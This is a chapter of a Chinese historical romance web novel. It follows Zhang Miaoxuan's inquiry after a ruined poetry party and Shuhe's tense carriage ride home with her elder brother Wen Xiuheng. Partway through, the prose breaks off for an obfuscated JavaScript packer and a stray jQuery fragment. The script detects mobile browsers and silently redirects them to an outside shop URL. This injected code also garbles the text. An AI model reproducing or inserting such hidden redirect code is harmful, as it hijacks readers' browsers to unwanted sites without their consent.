张家,酒阑人散,张妙璇有条不紊地命下人们收拾残局。
片刻后,下人来报:“小姐,老爷唤您过去。”
“知道了,我这就去。”
茶室内,张弥早早沏了杯茶等候。
张妙璇进来,福身道:“父亲。”
“坐吧。”
此时的张弥,一副云淡风轻的模样,张妙璇却是满面的愁容。
面对父亲,张妙璇想到诗会上出的差错,不由叹了口气。
“这是怎么了?”张弥问道。
张妙璇道:“还不是为了今日诗会的事,出了差错不说,那温……”
她想说,诗会让人瞧了笑话,温修衡更是来了张家,却在诗会上脸面都没露。
一番心思,竟都打了水漂。
可她的这些心思,怎好对自己的父亲说?是以她说了一半,住了口。
张弥却笑道:“无妨,事情处理好便是,世人多是望风而靡,若璇儿能嫁入温家,谁人敢拿今日诗会说事?”
世态炎凉,本就如此,张妙璇知道父亲所言非虚。
“是,璇儿知道了,今日到底是让父亲和张家……失望了。”
张弥道:“无妨,出了差错不代表我的女儿办不好诗会,人没有来,也不代表不会看。”
瞬间,张妙璇眼睛一亮,“多谢父亲宽慰,女儿日后定会加倍努力,不会再让父亲失望了!”
“快去吧,今日尚且还有事情,需要收尾。”
张妙璇福身,“女儿告退。”
出了茶室,张妙璇想到父亲的叮嘱,连忙唤来了掌事嬷嬷。
“如何了?可查清楚了?”
掌事嬷嬷道:“回小姐,都去问过了,厨房那边说并没有外人到过。若要弄到这么多香油,便只有佛堂可去……”
此番诗会,张妙璇十分重视,厨房事关来宾的吃食,用的奴仆都是签了死契的,或是张家的家生子,断不会出错。
张妙璇立即追问道:“何人去过佛堂?”
掌事嬷嬷道:“除了原本在佛堂当值的下人们,其余进出的只有张家之人,外头来的便只有……温家小姐去过。”
“是她?”
张妙璇的脑中,立即出现了那个身影,却想不通她为何要这么做。
她是温修衡的妹妹,自己日后恐怕不会与她少接触,自是不会撕破脸。
况且,她是温修衡的妹妹,谁会去得罪?
想到这儿,张妙璇羡慕起了她的好命。
不过究竟是否是她做的,尚需去确认。
“厢房歇息的人,可送回府了?”
掌事嬷嬷道:“除了韩公子外,都被送回去了,连带着张家赔罪的礼。”
张妙璇又问道:“韩公子为何还没回去?”
“韩公子伤得最重,尚且挪动不了,便先留在府上养伤了。”
“罢了,便让他留在张家修养几日吧。”张妙璇有些无奈,想到什么,又道,“你随我前去看看他吧。”
“是。”
厢房内,韩承硕一副生无可恋的模样。
此番他走在前头,脸着地不说,还被后来摔倒的人砸在了身上。
此刻,他鼻青脸肿,骨头都泛着隐隐的疼。
翩翩公子,在这样本应风头尽出的场合上,竟出了个大糗!
见到张妙璇进来,心中更觉得委屈。
“韩公子,可好些了?”
见张妙璇安慰,韩承硕心中更恼,本不想理会她,顿了顿,还是道:“你不去主持你那诗会,来这做什么?”
张妙璇有些无奈,“诗会已经结束了。”
韩承硕看了看外头的天色,外头黄澄澄的,果然已是傍晚了。
他连忙道:“既然如此,便不敢劳烦张家妹妹了,我也该回去了。”
张家的下人们未得张妙璇吩咐,无一人敢动,韩承硕只好唤了自己贴身的小厮,扶自己起来。
“公子……”
那小厮刚要说什么,却被韩承硕瞪了回去,只好讪讪上前,欲将他扶起来。
这一碰,自然是无比的疼,韩承硕在小厮的搀扶下,强撑着起身,却在将要站起来时,又跌回榻上,发出几声呼喊。
意识到自己失态后,韩承硕不敢再看张妙璇,将头别过去。
张妙璇上前一步,道:“你这又是何苦?这几日便留在张家养伤,过几日再回去吧,待会我命人送晚膳来厢房。”
“哪里敢劳烦张家妹妹……”
张妙璇知道他说的是气话,也不想在这小事上与他计较,“先不说这些孩子气的话了,倒是你,何苦去得罪温家?”
她这话是试探,显然韩承硕不会想那么深,直接道:“你的意思是,这是温家做的?这个温修衡,我不过是背后说了他几句,想不到竟会用这般下作的手段!”
张妙璇立刻明白了事情的原委。
她纠正道:“是温小姐……日后你可得仔细些,隔墙有耳。”
韩承硕想到了在亭中见到的那个女子,模样生得不错,想不到,原来是个蛇蝎心肠!
******
姝禾这边,宴席结束后,出了张府,果然看见温修衡带着侍从,已经在等着她们了。
只是这一次,他没有在车内,而是站在了马车旁。
“兄长。”姝禾上前,微微福身。
她垂下头,并未看温修衡那种毫无表情的脸,却无端感受后颈发麻,似是对方在凝视。
不过一瞬,那感觉又消失了。
“上车吧。”
说罢,温修衡没再看她,上了前头的那辆马车。
姝禾与李燕也上了马车。
她从前在刘家做丫鬟,对于揣测主子的喜怒,颇有心得。方才温修衡虽什么都没说,姝禾却感觉到,他看她的目光,与来时不同。
至于哪里不同,姝禾想了想,那目光倒似在审视。
想到这儿,姝禾不禁头皮发麻。
虽然诗会是在张家办的,可姝禾想到从前在刘家时,无论做了什么事,太太总会知晓。
温修衡此等人物,只会比刘家太太更厉害。
想到自己做的那些事,或许早被温修衡看在眼里,姝禾的指尖攥紧了衣袍。
不过她转念一想,知道又如何?温修衡总不会管自己这点小事,更不会为了此事找叶景瑜或是李燕。
再说了,自己也是为了维护温家,哪里做错了?
这样想着,姝禾心里松快了不少。
然而下一刻,姝禾身处的马车忽然一阵震荡。姝禾连忙用手扶住车窗,才勉强稳住身形,没有跌倒。
“小姐,没事吧?”李燕站稳后,立即查看。
姝禾摇了摇头,“姑姑,我没事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916623|213349||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李燕仔细瞧了瞧,确认姝禾无事后,掀开车帷,问道:“怎么了?”
紧接着,二人便听到一阵窸窸窣窣的声音,不一会儿,那车夫道:“李姑姑,是车轮坏了。”
按照这马车方才摇晃的动静,二人不敢再待在车上,连忙先后下车。
下车后,姝禾理了理有些凌乱的衣襟,随后向周围看去。
这是一条小道,距离张家或是温家,都不算近,来往虽有一些车马人流,可她没有放着不做“亲哥哥”的马车,而去求助旁人的道理。
李燕则去查看了车轮,向车夫问道:“怎么样了?还能修好吗?”
车夫道:“车轮的部件飞了出去,怕是不好找了。”
李燕有些气恼,“早知便换辆马车出行。”
大概是留意到后头的动静,温修衡乘坐的行在前头的那辆马车,缓缓停了下来。
车上的小厮下车后,立即跑来查看。
李燕十分为难地说:“这回恐怕,真得麻烦公子了。”
这次小厮前去禀报后,果然得了温修衡让二人上车的回复。
温修衡的马车不小,甚至称得上宽敞,比姝禾见过的所有马车都要宽敞。
上车后,姝禾轻声唤道:“兄长。”
温修衡目光淡淡扫过二人,“坐吧。”
“多谢兄长。”
温修衡的目光并未从她身上移开。
方才在张家一副不肯吃半点亏的模样,此刻倒装得乖巧。
很快,他便移开了目光。
张家距离温家不算远,又已经行了一半路程,她与温修衡同乘一车的时间,想必并不会太长。
饶是如此,姝禾仍觉得如坐针毡。
这马车比她的那辆宽敞,车上的坐垫好像也柔软些,可姝禾好似怎么也寻不得一个舒适的坐姿……
外头的风微微吹动着车帘,带入一阵阵清新的空气,冲淡了马车内的檀香味。
姝禾朝窗外看去,看看沿途的风景,或许时间会过得快一些。
但很快,一只骨节分明的手,便掀开了车帘的一角,外头的风灌进车厢内。
风更多的,是吹到温修衡脸上。
姝禾低下头,闻到了自己身上的香粉味。
是玉兰的香调,并不算艳俗,可比起车上原本的檀香味,又浓了几分。
想必是他嫌弃自己身上的气味了……
想到这儿,姝禾不禁生出几分挫败感来。
她一个二八少女,擦的是京中最时兴的香粉,虽然她一向喜欢擦多些,可也不至于被如此嫌弃!
但她又不能真对温修衡如何,只能期待着,快些到达温家,好不用在这里硬着头皮与温修衡相处。
何况,上次自己在他的书房,还出了那样的事……
檀香与玉兰香相缠,无端令姝禾红了脸颊。
待马车于温府门前停下,坐在外侧的姝禾与李燕二人先行下车,呼吸到车外的空气后,姝禾脸上的红晕才消散。
姝禾立于马车旁,待温修衡下车后,方道:“今日,禾儿多谢兄长。”
“无需多礼,先回去看看母亲吧,想必她还在等着。”
姝禾微微福身,“是。”
说罢,姝禾拜别,与李燕二人朝归澜院走去。
待姝禾的身影消失,温修衡理了理衣袖,衣摆上的玉兰香味,似乎还未散……